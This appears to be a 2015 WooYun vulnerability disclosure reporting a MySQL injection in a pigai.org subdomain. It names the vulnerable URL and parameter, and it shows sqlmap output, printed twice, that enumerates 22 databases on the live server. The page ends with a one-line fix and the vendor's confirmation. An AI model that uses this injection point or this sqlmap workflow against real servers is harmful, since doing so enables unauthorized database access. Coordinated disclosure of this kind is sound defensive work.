当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-098571

漏洞标题：句酷某分站MySql注入

相关厂商：pigai.org

漏洞作者： 浅蓝

提交时间：2015-02-28 16:30

修复时间：2015-04-14 16:32

公开时间：2015-04-14 16:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-28： 细节已通知厂商并且等待厂商处理中
2015-02-28： 厂商已经确认，细节仅向厂商公开
2015-03-10： 细节向核心白帽子及相关领域专家公开
2015-03-20： 细节向普通白帽子公开
2015-03-30： 细节向实习白帽子公开
2015-04-14： 细节向公众公开

简要描述：

RT

详细说明：

注入点：http://blir.pigai.org/index.php?s=/Newsreport/detail/id/1

%J6~{@9P23$7PJC0VG1]_5N.png


SK)}7CR4BL2U]FMVMYW$O0E.png


[14:50:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.11
back-end DBMS: MySQL 5.0.11
[14:50:00] [INFO] fetching database names
[14:50:00] [INFO] fetching number of databases
[14:50:00] [INFO] retrieved: 22
[14:50:02] [INFO] retrieved: information_schema
[14:50:19] [INFO] retrieved: app_everyone
[14:50:29] [INFO] retrieved: ceshi
[14:50:34] [INFO] retrieved: cmshead
[14:50:41] [INFO] retrieved: dcrd2
[14:50:46] [INFO] retrieved: hd
[14:50:49] [INFO] retrieved: kp
[14:50:52] [INFO] retrieved: lang
[14:50:56] [INFO] retrieved: mdwiki
[14:51:01] [INFO] retrieved: mysql
[14:51:06] [INFO] retrieved: naew
[14:51:10] [INFO] retrieved: #mysql50#naew.old
[14:51:25] [INFO] retrieved: performance_schema
[14:51:43] [INFO] retrieved: pigai_exam
[14:51:52] [INFO] retrieved: pigai_spss
[14:52:01] [INFO] retrieved: sentbase
[14:52:12] [INFO] retrieved: snt
[14:52:15] [INFO] retrieved: test
[14:52:20] [INFO] retrieved: wiki
[14:52:24] [INFO] retrieved: wiki2
[14:52:29] [INFO] retrieved: wikitiki
[14:52:37] [INFO] retrieved: yulk
available databases [22]:
[*] #mysql50#naew.old
[*] app_everyone
[*] ceshi
[*] cmshead
[*] dcrd2
[*] hd
[*] information_schema
[*] kp
[*] lang
[*] mdwiki
[*] mysql
[*] naew
[*] performance_schema
[*] pigai_exam
[*] pigai_spss
[*] sentbase
[*] snt
[*] test
[*] wiki
[*] wiki2
[*] wikitiki
[*] yulk
[14:52:41] [WARNING] HTTP error codes detected during testing:
404 (Not Found) - 14 times
[14:52:41] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\blir.pigai.org'
[*] shutting down at: 14:52:41

漏洞证明：

[14:50:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.11
back-end DBMS: MySQL 5.0.11
[14:50:00] [INFO] fetching database names
[14:50:00] [INFO] fetching number of databases
[14:50:00] [INFO] retrieved: 22
[14:50:02] [INFO] retrieved: information_schema
[14:50:19] [INFO] retrieved: app_everyone
[14:50:29] [INFO] retrieved: ceshi
[14:50:34] [INFO] retrieved: cmshead
[14:50:41] [INFO] retrieved: dcrd2
[14:50:46] [INFO] retrieved: hd
[14:50:49] [INFO] retrieved: kp
[14:50:52] [INFO] retrieved: lang
[14:50:56] [INFO] retrieved: mdwiki
[14:51:01] [INFO] retrieved: mysql
[14:51:06] [INFO] retrieved: naew
[14:51:10] [INFO] retrieved: #mysql50#naew.old
[14:51:25] [INFO] retrieved: performance_schema
[14:51:43] [INFO] retrieved: pigai_exam
[14:51:52] [INFO] retrieved: pigai_spss
[14:52:01] [INFO] retrieved: sentbase
[14:52:12] [INFO] retrieved: snt
[14:52:15] [INFO] retrieved: test
[14:52:20] [INFO] retrieved: wiki
[14:52:24] [INFO] retrieved: wiki2
[14:52:29] [INFO] retrieved: wikitiki
[14:52:37] [INFO] retrieved: yulk
available databases [22]:
[*] #mysql50#naew.old
[*] app_everyone
[*] ceshi
[*] cmshead
[*] dcrd2
[*] hd
[*] information_schema
[*] kp
[*] lang
[*] mdwiki
[*] mysql
[*] naew
[*] performance_schema
[*] pigai_exam
[*] pigai_spss
[*] sentbase
[*] snt
[*] test
[*] wiki
[*] wiki2
[*] wikitiki
[*] yulk
[14:52:41] [WARNING] HTTP error codes detected during testing:
404 (Not Found) - 14 times
[14:52:41] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\blir.pigai.org'
[*] shutting down at: 14:52:41

修复方案：

对参数进行转义过滤

版权声明：转载请注明来源 浅蓝@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-02-28 17:02

厂商回复：

修复中

最新状态：

暂无

漏洞评价：

评论